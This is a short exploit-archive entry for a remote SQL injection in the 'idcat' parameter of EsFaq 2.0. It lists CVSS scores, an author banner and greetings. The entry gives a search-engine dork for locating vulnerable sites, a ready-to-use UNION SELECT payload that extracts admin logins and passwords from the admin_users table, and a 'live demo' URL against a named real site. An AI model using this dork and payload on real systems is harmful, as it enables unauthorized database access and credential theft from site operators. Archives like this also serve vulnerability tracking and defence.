EsFaq 2.0 (idcat) Remote SQL Injection Vulnerability

2008.09.12
Credit: SuB-ZeRo
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

|___________________________________________________| | | EsFaq Remote Sql Injection Exploit | |___________________________________________________ |---------------------SuB-ZeRo----------------------| | | Author: SuB-ZeRo | | Home : www.dz-security.com | | email: FbH@hotmail.com | | |___________________________________________________ | | | | script :http://editeurscripts.com/ressources/scripts-php/dl.php?idscript=5 | | DorK : inurl:questions.php?idcat |___________________________________________________| Exploit: ________ www.[target].com/Script/questions.php?idcat=10 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7,8,9 FROM admin_users-- L!VE DEMO: _________ http://demo.editeurscripts.com/EsFaq/questions.php?idcat=10 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7,8,9 FROM admin_users-- ____________ ____________________________( Greetz )_________________________________ | | All members of the Forum www.dz-security.com and www.no-exploit.com | | My friends : HiSoK4| x.CJP.x | bibi-infi | ThE BuTcHeR | charaf | | and all algeria hackers and all mouslimme |__________________________ramadan karim all mouslimme____________________________________________


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top